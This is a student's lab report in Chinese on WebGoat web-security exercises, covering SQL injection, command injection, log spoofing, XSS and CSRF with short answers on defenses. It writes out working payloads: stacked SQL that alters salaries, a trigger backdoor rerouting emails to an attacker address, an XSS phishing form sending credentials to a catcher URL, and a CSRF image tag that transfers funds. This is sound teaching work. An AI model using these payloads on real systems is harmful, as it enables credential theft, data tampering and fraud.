2019-2020-2 20175212童皓桢《网络对抗技术》

Exp9 Web安全基础

目录

1. 实验目标

理解常用网络攻击技术的基本原理

2. 实验内容

2.1 SQL注入攻击
2.1.1 命令注入(Command Injection)

Command Injection,即命令注入,是对任何参数驱动的站点的严重威胁,且容易扩散,造成更坏的影响。

2.1.2 数字型注入(Numeric SQL Injection)

Numeric SQL Injection,即数字型注入,在SELECT * FROM weather_data WHERE station = [station]中station 字段中注入特征字符,能组合成新的SQL 语句。

2.1.3 日志欺骗(Log Spoofing)

Log Spoofing,即日志欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。

2.1.4 字符串注入(String SQL Injection)

String SQL Injection,即字符串注入,基于某个特殊查询语句构造SQL注入字符串。

2.1.5 SQL 注入(LAB: SQL Injection)

LAB:SQL Injection,即实验室SQL注入,分为以下几个Stage
Stage1:String SQL Injection,即字符串注入

2.1.6 数据库后门(Database Backdoors)

Database Backdoors,即数据库后门

  • 在输入框中输入101; update employee set salary=5212可以更新员工工资,没有经过任何验证就可以简单更改数据表
    ![在这里插入图片描述]( https://img-blog.csdnimg.cn/20200527152238960.JPG?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDgyNjMzOA==,size_16,color_FFFFFF,t_70)
  • 在输入框输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=20175212thz@hackme.com' WHERE userid = NEW.userid,意思是创建一个后门触发器,当有人往数据表里插入一行数据时,就会自动触发该后门,接着将新插入一行的email设置为20175212thz@hackme.com,攻击者就可以通过邮箱接收到消息了
    ![在这里插入图片描述]( https://img-blog.csdnimg.cn/20200527152248218.JPG?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDgyNjMzOA==,size_16,color_FFFFFF,t_70)
2.2 XSS攻击
2.2.1 XSS 钓鱼(Phishing with XSS)

Phishing with XSS,即网络钓鱼,在XSS的帮助下,可以制作钓鱼工具或向某些官方页面中增加内容,很难发现该内容是否存在威胁。

  • 在搜索框输入如下代码,页面增加一个表单
</form><script>function hack(){ XSSImage=new Image; 
XSSImage.src="http://localhost/WebGoat/catcher?
PROPERTY=yes&user="+ document.phish.user.value + 
"&password=" + document.phish.pass.value + ""; alert("Had this 
been a real attack... Your credentials were just stolen. User Name = 
" + document.phish.user.value + "Password = " + 
document.phish.pass.value);} </script><form 
name="phish"><br><br><HR><H3>This feature requires account 
login:</H3 ><br><br>Enter Username:<br><input type="text" 
name="user"><br>Enter Password:<br><input type="password" 
name = "pass"><br><input type="submit" name="login" 
value="login" onclick="hack()"></form><br><br><HR>

2.3 CSRF攻击

跨站请求伪造,目标是向新闻组发送电子邮件,该电子邮件包含一个图像,其URL指向恶意请求,通过身份认证的CSRF电子邮件的接收者将转移资金。

  • 在title框中输入任意标题,在Message框中输入<img src="attack?Screen=322&menu=900&transferFunds=100000"/>,当满足Screen值为322,menu值为900时,产生攻击链接,一旦点击该链接就会触发转移100000的资金。
    ![在这里插入图片描述]( https://img-blog.csdnimg.cn/20200527152621560.JPG?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDgyNjMzOA==,size_16,color_FFFFFF,t_70)

3、答老师问

3.1 实验收获与感想

经过这学期的九次实验,我对网络攻防中的一些基础攻防操作有了一定程度的了解,虽然实验环境都是模拟最原始,最没有防护的条件,但仍然收获颇丰。我知道了在复杂的网络环境中应该怎样从技术和习惯的角度更好的保护自己的信息不被侵犯,以及如何解决这类问题。

3.2 SQL注入攻击原理,如何防御

答:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
防范:

  • 对可能的漏洞注入点代码进行检查处理,筛选特殊字符,提高代码的规范性和安全性
  • 用户和管理员的权限做到严格区分,是普通用户只能得到最低权限
  • 不要将敏感信息或文件明文存储
3.3 XSS攻击的原理,如何防御

答:XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
防范:

  • 只允许http/https请求读取cookie,防止敌手通过JS获取
  • 通过转义安全字符等手段,不信任用户输入的数据,并在表单提交时进行特殊字符的检测
3.4 CSRF攻击原理,如何防御

答:是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。
防范:

  • 添加伪随机验证码,让用户进行填写
  • 定期清理cookie

4、遇到的问题及其解决方法

5、参考资料

https://www.cnblogs.com/SANFENs/p/12911903.html

posted on 2020-05-27 15:33  20175212thz  阅读(151)  评论(0)    收藏  举报